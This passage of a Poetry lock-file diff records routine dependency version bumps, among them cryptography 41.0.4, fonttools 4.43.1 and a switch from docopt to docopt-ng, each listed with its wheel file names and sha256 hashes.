"sha256:4175e10cc8dda0265653e8714b3174430b07c1dca8957f4966cbd6c2b1b8065a"}, + {file = "coverage-7.3.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:0cbf38419fb1a347aaf63481c00f0bdc86889d9fbf3f25109cf96c26b403fda1"}, + {file = "coverage-7.3.2-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:5c913b556a116b8d5f6ef834038ba983834d887d82187c8f73dec21049abd65c"}, + {file = "coverage-7.3.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:1981f785239e4e39e6444c63a98da3a1db8e971cb9ceb50a945ba6296b43f312"}, + {file = "coverage-7.3.2-cp311-cp311-win32.whl", hash = "sha256:43668cabd5ca8258f5954f27a3aaf78757e6acf13c17604d89648ecc0cc66640"}, + {file = "coverage-7.3.2-cp311-cp311-win_amd64.whl", hash = "sha256:e10c39c0452bf6e694511c901426d6b5ac005acc0f78ff265dbe36bf81f808a2"}, + {file = "coverage-7.3.2-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:4cbae1051ab791debecc4a5dcc4a1ff45fc27b91b9aee165c8a27514dd160836"}, + {file = "coverage-7.3.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:12d15ab5833a997716d76f2ac1e4b4d536814fc213c85ca72756c19e5a6b3d63"}, + {file = "coverage-7.3.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3c7bba973ebee5e56fe9251300c00f1579652587a9f4a5ed8404b15a0471f216"}, + {file = "coverage-7.3.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fe494faa90ce6381770746077243231e0b83ff3f17069d748f645617cefe19d4"}, + {file = "coverage-7.3.2-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f6e9589bd04d0461a417562649522575d8752904d35c12907d8c9dfeba588faf"}, + {file = "coverage-7.3.2-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:d51ac2a26f71da1b57f2dc81d0e108b6ab177e7d30e774db90675467c847bbdf"}, + {file = "coverage-7.3.2-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:99b89d9f76070237975b315b3d5f4d6956ae354a4c92ac2388a5695516e47c84"}, + {file = "coverage-7.3.2-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:fa28e909776dc69efb6ed975a63691bc8172b64ff357e663a1bb06ff3c9b589a"}, + {file = "coverage-7.3.2-cp312-cp312-win32.whl", hash = "sha256:289fe43bf45a575e3ab10b26d7b6f2ddb9ee2dba447499f5401cfb5ecb8196bb"}, + {file = "coverage-7.3.2-cp312-cp312-win_amd64.whl", hash = "sha256:7dbc3ed60e8659bc59b6b304b43ff9c3ed858da2839c78b804973f613d3e92ed"}, + {file = "coverage-7.3.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:f94b734214ea6a36fe16e96a70d941af80ff3bfd716c141300d95ebc85339738"}, + {file = "coverage-7.3.2-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:af3d828d2c1cbae52d34bdbb22fcd94d1ce715d95f1a012354a75e5913f1bda2"}, + {file = "coverage-7.3.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:630b13e3036e13c7adc480ca42fa7afc2a5d938081d28e20903cf7fd687872e2"}, + {file = "coverage-7.3.2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c9eacf273e885b02a0273bb3a2170f30e2d53a6d53b72dbe02d6701b5296101c"}, + {file = "coverage-7.3.2-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d8f17966e861ff97305e0801134e69db33b143bbfb36436efb9cfff6ec7b2fd9"}, + {file = "coverage-7.3.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:b4275802d16882cf9c8b3d057a0839acb07ee9379fa2749eca54efbce1535b82"}, + {file = "coverage-7.3.2-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:72c0cfa5250f483181e677ebc97133ea1ab3eb68645e494775deb6a7f6f83901"}, + {file = "coverage-7.3.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:cb536f0dcd14149425996821a168f6e269d7dcd2c273a8bff8201e79f5104e76"}, + {file = "coverage-7.3.2-cp38-cp38-win32.whl", hash = "sha256:307adb8bd3abe389a471e649038a71b4eb13bfd6b7dd9a129fa856f5c695cf92"}, + {file = "coverage-7.3.2-cp38-cp38-win_amd64.whl", hash = "sha256:88ed2c30a49ea81ea3b7f172e0269c182a44c236eb394718f976239892c0a27a"}, + {file = "coverage-7.3.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:b631c92dfe601adf8f5ebc7fc13ced6bb6e9609b19d9a8cd59fa47c4186ad1ce"}, + {file = "coverage-7.3.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:d3d9df4051c4a7d13036524b66ecf7a7537d14c18a384043f30a303b146164e9"}, + {file = "coverage-7.3.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5f7363d3b6a1119ef05015959ca24a9afc0ea8a02c687fe7e2d557705375c01f"}, + {file = "coverage-7.3.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2f11cc3c967a09d3695d2a6f03fb3e6236622b93be7a4b5dc09166a861be6d25"}, + {file = "coverage-7.3.2-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:149de1d2401ae4655c436a3dced6dd153f4c3309f599c3d4bd97ab172eaf02d9"}, + {file = "coverage-7.3.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:3a4006916aa6fee7cd38db3bfc95aa9c54ebb4ffbfc47c677c8bba949ceba0a6"}, + {file = "coverage-7.3.2-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:9028a3871280110d6e1aa2df1afd5ef003bab5fb1ef421d6dc748ae1c8ef2ebc"}, + {file = "coverage-7.3.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:9f805d62aec8eb92bab5b61c0f07329275b6f41c97d80e847b03eb894f38d083"}, + {file = "coverage-7.3.2-cp39-cp39-win32.whl", hash = "sha256:d1c88ec1a7ff4ebca0219f5b1ef863451d828cccf889c173e1253aa84b1e07ce"}, + {file = "coverage-7.3.2-cp39-cp39-win_amd64.whl", hash = "sha256:b4767da59464bb593c07afceaddea61b154136300881844768037fd5e859353f"}, + {file = "coverage-7.3.2-pp38.pp39.pp310-none-any.whl", hash = "sha256:ae97af89f0fbf373400970c0a21eef5aa941ffeed90aee43650b81f7d7f47637"}, + {file = "coverage-7.3.2.tar.gz", hash = "sha256:be32ad29341b0170e795ca590e1c07e81fc061cb5b10c74ce7203491484404ef"}, ] [package.dependencies] @@ -606,34 +602,34 @@ toml = ["tomli"] [[package]] name = "cryptography" -version = "41.0.3" +version = "41.0.4" description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers." optional = false python-versions = ">=3.7" files = [ - {file = "cryptography-41.0.3-cp37-abi3-macosx_10_12_universal2.whl", hash = "sha256:652627a055cb52a84f8c448185922241dd5217443ca194d5739b44612c5e6507"}, - {file = "cryptography-41.0.3-cp37-abi3-macosx_10_12_x86_64.whl", hash = "sha256:8f09daa483aedea50d249ef98ed500569841d6498aa9c9f4b0531b9964658922"}, - {file = "cryptography-41.0.3-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4fd871184321100fb400d759ad0cddddf284c4b696568204d281c902fc7b0d81"}, - {file = "cryptography-41.0.3-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:84537453d57f55a50a5b6835622ee405816999a7113267739a1b4581f83535bd"}, - {file = "cryptography-41.0.3-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:3fb248989b6363906827284cd20cca63bb1a757e0a2864d4c1682a985e3dca47"}, - {file = "cryptography-41.0.3-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:42cb413e01a5d36da9929baa9d70ca90d90b969269e5a12d39c1e0d475010116"}, - {file = "cryptography-41.0.3-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:aeb57c421b34af8f9fe830e1955bf493a86a7996cc1338fe41b30047d16e962c"}, - {file = "cryptography-41.0.3-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:6af1c6387c531cd364b72c28daa29232162010d952ceb7e5ca8e2827526aceae"}, - {file = "cryptography-41.0.3-cp37-abi3-win32.whl", hash = "sha256:0d09fb5356f975974dbcb595ad2d178305e5050656affb7890a1583f5e02a306"}, - {file = "cryptography-41.0.3-cp37-abi3-win_amd64.whl", hash = "sha256:a983e441a00a9d57a4d7c91b3116a37ae602907a7618b882c8013b5762e80574"}, - {file = "cryptography-41.0.3-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:5259cb659aa43005eb55a0e4ff2c825ca111a0da1814202c64d28a985d33b087"}, - {file = "cryptography-41.0.3-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:67e120e9a577c64fe1f611e53b30b3e69744e5910ff3b6e97e935aeb96005858"}, - {file = "cryptography-41.0.3-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:7efe8041897fe7a50863e51b77789b657a133c75c3b094e51b5e4b5cec7bf906"}, - {file = "cryptography-41.0.3-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:ce785cf81a7bdade534297ef9e490ddff800d956625020ab2ec2780a556c313e"}, - {file = "cryptography-41.0.3-pp38-pypy38_pp73-macosx_10_12_x86_64.whl", hash = "sha256:57a51b89f954f216a81c9d057bf1a24e2f36e764a1ca9a501a6964eb4a6800dd"}, - {file = "cryptography-41.0.3-pp38-pypy38_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:4c2f0d35703d61002a2bbdcf15548ebb701cfdd83cdc12471d2bae80878a4207"}, - {file = "cryptography-41.0.3-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:23c2d778cf829f7d0ae180600b17e9fceea3c2ef8b31a99e3c694cbbf3a24b84"}, - {file = "cryptography-41.0.3-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:95dd7f261bb76948b52a5330ba5202b91a26fbac13ad0e9fc8a3ac04752058c7"}, - {file = "cryptography-41.0.3-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:41d7aa7cdfded09b3d73a47f429c298e80796c8e825ddfadc84c8a7f12df212d"}, - {file = "cryptography-41.0.3-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:d0d651aa754ef58d75cec6edfbd21259d93810b73f6ec246436a21b7841908de"}, - {file = "cryptography-41.0.3-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:ab8de0d091acbf778f74286f4989cf3d1528336af1b59f3e5d2ebca8b5fe49e1"}, - {file = "cryptography-41.0.3-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:a74fbcdb2a0d46fe00504f571a2a540532f4c188e6ccf26f1f178480117b33c4"}, - {file = "cryptography-41.0.3.tar.gz", hash = "sha256:6d192741113ef5e30d89dcb5b956ef4e1578f304708701b8b73d38e3e1461f34"}, + {file = "cryptography-41.0.4-cp37-abi3-macosx_10_12_universal2.whl", hash = "sha256:80907d3faa55dc5434a16579952ac6da800935cd98d14dbd62f6f042c7f5e839"}, + {file = "cryptography-41.0.4-cp37-abi3-macosx_10_12_x86_64.whl", hash = "sha256:35c00f637cd0b9d5b6c6bd11b6c3359194a8eba9c46d4e875a3660e3b400005f"}, + {file = "cryptography-41.0.4-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cecfefa17042941f94ab54f769c8ce0fe14beff2694e9ac684176a2535bf9714"}, + {file = "cryptography-41.0.4-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e40211b4923ba5a6dc9769eab704bdb3fbb58d56c5b336d30996c24fcf12aadb"}, + {file = "cryptography-41.0.4-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:23a25c09dfd0d9f28da2352503b23e086f8e78096b9fd585d1d14eca01613e13"}, + {file = "cryptography-41.0.4-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:2ed09183922d66c4ec5fdaa59b4d14e105c084dd0febd27452de8f6f74704143"}, + {file = "cryptography-41.0.4-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:5a0f09cefded00e648a127048119f77bc2b2ec61e736660b5789e638f43cc397"}, + {file = "cryptography-41.0.4-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:9eeb77214afae972a00dee47382d2591abe77bdae166bda672fb1e24702a3860"}, + {file = "cryptography-41.0.4-cp37-abi3-win32.whl", hash = "sha256:3b224890962a2d7b57cf5eeb16ccaafba6083f7b811829f00476309bce2fe0fd"}, + {file = "cryptography-41.0.4-cp37-abi3-win_amd64.whl", hash = "sha256:c880eba5175f4307129784eca96f4e70b88e57aa3f680aeba3bab0e980b0f37d"}, + {file = "cryptography-41.0.4-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:004b6ccc95943f6a9ad3142cfabcc769d7ee38a3f60fb0dddbfb431f818c3a67"}, + {file = "cryptography-41.0.4-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:86defa8d248c3fa029da68ce61fe735432b047e32179883bdb1e79ed9bb8195e"}, + {file = "cryptography-41.0.4-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:37480760ae08065437e6573d14be973112c9e6dcaf5f11d00147ee74f37a3829"}, + {file = "cryptography-41.0.4-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:b5f4dfe950ff0479f1f00eda09c18798d4f49b98f4e2006d644b3301682ebdca"}, + {file = "cryptography-41.0.4-pp38-pypy38_pp73-macosx_10_12_x86_64.whl", hash = "sha256:7e53db173370dea832190870e975a1e09c86a879b613948f09eb49324218c14d"}, + {file = "cryptography-41.0.4-pp38-pypy38_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:5b72205a360f3b6176485a333256b9bcd48700fc755fef51c8e7e67c4b63e3ac"}, + {file = "cryptography-41.0.4-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:93530900d14c37a46ce3d6c9e6fd35dbe5f5601bf6b3a5c325c7bffc030344d9"}, + {file = "cryptography-41.0.4-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:efc8ad4e6fc4f1752ebfb58aefece8b4e3c4cae940b0994d43649bdfce8d0d4f"}, + {file = "cryptography-41.0.4-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:c3391bd8e6de35f6f1140e50aaeb3e2b3d6a9012536ca23ab0d9c35ec18c8a91"}, + {file = "cryptography-41.0.4-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:0d9409894f495d465fe6fda92cb70e8323e9648af912d5b9141d616df40a87b8"}, + {file = "cryptography-41.0.4-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:8ac4f9ead4bbd0bc8ab2d318f97d85147167a488be0e08814a37eb2f439d5cf6"}, + {file = "cryptography-41.0.4-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:047c4603aeb4bbd8db2756e38f5b8bd7e94318c047cfe4efeb5d715e08b49311"}, + {file = "cryptography-41.0.4.tar.gz", hash = "sha256:7febc3094125fc126a7f6fb1f420d0da639f3f32cb15c8ff0dc3997c4549f51a"}, ] [package.dependencies] @@ -669,13 +665,14 @@ doc = ["sphinx", "sphinx_rtd_theme"] test = ["flake8", "isort", "pytest"] [[package]] -name = "docopt" -version = "0.6.2" -description = "Pythonic argument parser, that will make you smile" +name = "docopt-ng" +version = "0.9.0" +description = "Jazzband-maintained fork of docopt, the humane command line arguments parser." optional = false -python-versions = "*" +python-versions = ">=3.7" files = [ - {file = "docopt-0.6.2.tar.gz", hash = "sha256:49b3a825280bd66b3aa83585ef59c4a8c82f2c8a522dbe754a8bc8d08c85c491"}, + {file = "docopt_ng-0.9.0-py3-none-any.whl", hash = "sha256:bfe4c8b03f9fca424c24ee0b4ffa84bf7391cb18c29ce0f6a8227a3b01b81ff9"}, + {file = "docopt_ng-0.9.0.tar.gz", hash = "sha256:91c6da10b5bb6f2e9e25345829fb8278c78af019f6fc40887ad49b060483b1d7"}, ] [[package]] @@ -770,7 +767,6 @@ files = [ [package.dependencies] blinker = ">=1.6.2" click = ">=8.1.3" -importlib-metadata = {version = ">=3.6.0", markers = "python_version < \"3.10\""} itsdangerous = ">=2.1.2" Jinja2 = ">=3.1.2" Werkzeug = ">=2.3.7" @@ -781,45 +777,53 @@ dotenv = ["python-dotenv"] [[package]] name = "fonttools" -version = "4.42.1" +version = "4.43.1" description = "Tools to manipulate font files" optional = false python-versions = ">=3.8" files = [ - {file = "fonttools-4.42.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:ed1a13a27f59d1fc1920394a7f596792e9d546c9ca5a044419dca70c37815d7c"}, - {file = "fonttools-4.42.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:c9b1ce7a45978b821a06d375b83763b27a3a5e8a2e4570b3065abad240a18760"}, - {file = "fonttools-4.42.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f720fa82a11c0f9042376fd509b5ed88dab7e3cd602eee63a1af08883b37342b"}, - {file = "fonttools-4.42.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:db55cbaea02a20b49fefbd8e9d62bd481aaabe1f2301dabc575acc6b358874fa"}, - {file = "fonttools-4.42.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:3a35981d90feebeaef05e46e33e6b9e5b5e618504672ca9cd0ff96b171e4bfff"}, - {file = "fonttools-4.42.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:68a02bbe020dc22ee0540e040117535f06df9358106d3775e8817d826047f3fd"}, - {file = "fonttools-4.42.1-cp310-cp310-win32.whl", hash = "sha256:12a7c247d1b946829bfa2f331107a629ea77dc5391dfd34fdcd78efa61f354ca"}, - {file = "fonttools-4.42.1-cp310-cp310-win_amd64.whl", hash = "sha256:a398bdadb055f8de69f62b0fc70625f7cbdab436bbb31eef5816e28cab083ee8"}, - {file = "fonttools-4.42.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:689508b918332fb40ce117131633647731d098b1b10d092234aa959b4251add5"}, - {file = "fonttools-4.42.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:9e36344e48af3e3bde867a1ca54f97c308735dd8697005c2d24a86054a114a71"}, - {file = "fonttools-4.42.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:19b7db825c8adee96fac0692e6e1ecd858cae9affb3b4812cdb9d934a898b29e"}, - {file = "fonttools-4.42.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:113337c2d29665839b7d90b39f99b3cac731f72a0eda9306165a305c7c31d341"}, - {file = "fonttools-4.42.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:37983b6bdab42c501202500a2be3a572f50d4efe3237e0686ee9d5f794d76b35"}, - {file = "fonttools-4.42.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:6ed2662a3d9c832afa36405f8748c250be94ae5dfc5283d668308391f2102861"}, - {file = "fonttools-4.42.1-cp311-cp311-win32.whl", hash = "sha256:179737095eb98332a2744e8f12037b2977f22948cf23ff96656928923ddf560a"}, - {file = "fonttools-4.42.1-cp311-cp311-win_amd64.whl", hash = "sha256:f2b82f46917d8722e6b5eafeefb4fb585d23babd15d8246c664cd88a5bddd19c"}, - {file = "fonttools-4.42.1-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:62f481ac772fd68901573956231aea3e4b1ad87b9b1089a61613a91e2b50bb9b"}, - {file = "fonttools-4.42.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:f2f806990160d1ce42d287aa419df3ffc42dfefe60d473695fb048355fe0c6a0"}, - {file = "fonttools-4.42.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:db372213d39fa33af667c2aa586a0c1235e88e9c850f5dd5c8e1f17515861868"}, - {file = "fonttools-4.42.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5d18fc642fd0ac29236ff88ecfccff229ec0386090a839dd3f1162e9a7944a40"}, - {file = "fonttools-4.42.1-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:8708b98c278012ad267ee8a7433baeb809948855e81922878118464b274c909d"}, - {file = "fonttools-4.42.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:c95b0724a6deea2c8c5d3222191783ced0a2f09bd6d33f93e563f6f1a4b3b3a4"}, - {file = "fonttools-4.42.1-cp38-cp38-win32.whl", hash = "sha256:4aa79366e442dbca6e2c8595645a3a605d9eeabdb7a094d745ed6106816bef5d"}, - {file = "fonttools-4.42.1-cp38-cp38-win_amd64.whl", hash = "sha256:acb47f6f8680de24c1ab65ebde39dd035768e2a9b571a07c7b8da95f6c8815fd"}, - {file = "fonttools-4.42.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:5fb289b7a815638a7613d46bcf324c9106804725b2bb8ad913c12b6958ffc4ec"}, - {file = "fonttools-4.42.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:53eb5091ddc8b1199330bb7b4a8a2e7995ad5d43376cadce84523d8223ef3136"}, - {file = "fonttools-4.42.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:46a0ec8adbc6ff13494eb0c9c2e643b6f009ce7320cf640de106fb614e4d4360"}, - {file = "fonttools-4.42.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7cc7d685b8eeca7ae69dc6416833fbfea61660684b7089bca666067cb2937dcf"}, - {file = "fonttools-4.42.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:be24fcb80493b2c94eae21df70017351851652a37de514de553435b256b2f249"}, - {file = "fonttools-4.42.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:515607ec756d7865f23070682622c49d922901943697871fc292277cf1e71967"}, - {file = "fonttools-4.42.1-cp39-cp39-win32.whl", hash = "sha256:0eb79a2da5eb6457a6f8ab904838454accc7d4cccdaff1fd2bd3a0679ea33d64"}, - {file = "fonttools-4.42.1-cp39-cp39-win_amd64.whl", hash = "sha256:7286aed4ea271df9eab8d7a9b29e507094b51397812f7ce051ecd77915a6e26b"}, - {file = "fonttools-4.42.1-py3-none-any.whl", hash = "sha256:9398f244e28e0596e2ee6024f808b06060109e33ed38dcc9bded452fd9bbb853"}, - {file = "fonttools-4.42.1.tar.gz", hash = "sha256:c391cd5af88aacaf41dd7cfb96eeedfad297b5899a39e12f4c2c3706d0a3329d"}, + {file = "fonttools-4.43.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:bf11e2cca121df35e295bd34b309046c29476ee739753bc6bc9d5050de319273"}, + {file = "fonttools-4.43.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:10b3922875ffcba636674f406f9ab9a559564fdbaa253d66222019d569db869c"}, + {file = "fonttools-4.43.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9f727c3e3d08fd25352ed76cc3cb61486f8ed3f46109edf39e5a60fc9fecf6ca"}, + {file = "fonttools-4.43.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ad0b3f6342cfa14be996971ea2b28b125ad681c6277c4cd0fbdb50340220dfb6"}, + {file = "fonttools-4.43.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:3b7ad05b2beeebafb86aa01982e9768d61c2232f16470f9d0d8e385798e37184"}, + {file = "fonttools-4.43.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:4c54466f642d2116686268c3e5f35ebb10e49b0d48d41a847f0e171c785f7ac7"}, + {file = "fonttools-4.43.1-cp310-cp310-win32.whl", hash = "sha256:1e09da7e8519e336239fbd375156488a4c4945f11c4c5792ee086dd84f784d02"}, + {file = "fonttools-4.43.1-cp310-cp310-win_amd64.whl", hash = "sha256:1cf9e974f63b1080b1d2686180fc1fbfd3bfcfa3e1128695b5de337eb9075cef"}, + {file = "fonttools-4.43.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:5db46659cfe4e321158de74c6f71617e65dc92e54980086823a207f1c1c0e24b"}, + {file = "fonttools-4.43.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:1952c89a45caceedf2ab2506d9a95756e12b235c7182a7a0fff4f5e52227204f"}, + {file = "fonttools-4.43.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9c36da88422e0270fbc7fd959dc9749d31a958506c1d000e16703c2fce43e3d0"}, + {file = "fonttools-4.43.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7bbbf8174501285049e64d174e29f9578495e1b3b16c07c31910d55ad57683d8"}, + {file = "fonttools-4.43.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:d4071bd1c183b8d0b368cc9ed3c07a0f6eb1bdfc4941c4c024c49a35429ac7cd"}, + {file = "fonttools-4.43.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:d21099b411e2006d3c3e1f9aaf339e12037dbf7bf9337faf0e93ec915991f43b"}, + {file = "fonttools-4.43.1-cp311-cp311-win32.whl", hash = "sha256:b84a1c00f832feb9d0585ca8432fba104c819e42ff685fcce83537e2e7e91204"}, + {file = "fonttools-4.43.1-cp311-cp311-win_amd64.whl", hash = "sha256:9a2f0aa6ca7c9bc1058a9d0b35483d4216e0c1bbe3962bc62ce112749954c7b8"}, + {file = "fonttools-4.43.1-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:4d9740e3783c748521e77d3c397dc0662062c88fd93600a3c2087d3d627cd5e5"}, + {file = "fonttools-4.43.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:884ef38a5a2fd47b0c1291647b15f4e88b9de5338ffa24ee52c77d52b4dfd09c"}, + {file = "fonttools-4.43.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9648518ef687ba818db3fcc5d9aae27a369253ac09a81ed25c3867e8657a0680"}, + {file = "fonttools-4.43.1-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:95e974d70238fc2be5f444fa91f6347191d0e914d5d8ae002c9aa189572cc215"}, + {file = "fonttools-4.43.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:34f713dad41aa21c637b4e04fe507c36b986a40f7179dcc86402237e2d39dcd3"}, + {file = "fonttools-4.43.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:360201d46165fc0753229afe785900bc9596ee6974833124f4e5e9f98d0f592b"}, + {file = "fonttools-4.43.1-cp312-cp312-win32.whl", hash = "sha256:bb6d2f8ef81ea076877d76acfb6f9534a9c5f31dc94ba70ad001267ac3a8e56f"}, + {file = "fonttools-4.43.1-cp312-cp312-win_amd64.whl", hash = "sha256:25d3da8a01442cbc1106490eddb6d31d7dffb38c1edbfabbcc8db371b3386d72"}, + {file = "fonttools-4.43.1-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:8da417431bfc9885a505e86ba706f03f598c85f5a9c54f67d63e84b9948ce590"}, + {file = "fonttools-4.43.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:51669b60ee2a4ad6c7fc17539a43ffffc8ef69fd5dbed186a38a79c0ac1f5db7"}, + {file = "fonttools-4.43.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:748015d6f28f704e7d95cd3c808b483c5fb87fd3eefe172a9da54746ad56bfb6"}, + {file = "fonttools-4.43.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f7a58eb5e736d7cf198eee94844b81c9573102ae5989ebcaa1d1a37acd04b33d"}, + {file = "fonttools-4.43.1-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:6bb5ea9076e0e39defa2c325fc086593ae582088e91c0746bee7a5a197be3da0"}, + {file = "fonttools-4.43.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:5f37e31291bf99a63328668bb83b0669f2688f329c4c0d80643acee6e63cd933"}, + {file = "fonttools-4.43.1-cp38-cp38-win32.whl", hash = "sha256:9c60ecfa62839f7184f741d0509b5c039d391c3aff71dc5bc57b87cc305cff3b"}, + {file = "fonttools-4.43.1-cp38-cp38-win_amd64.whl", hash = "sha256:fe9b1ec799b6086460a7480e0f55c447b1aca0a4eecc53e444f639e967348896"}, + {file = "fonttools-4.43.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:13a9a185259ed144def3682f74fdcf6596f2294e56fe62dfd2be736674500dba"}, + {file = 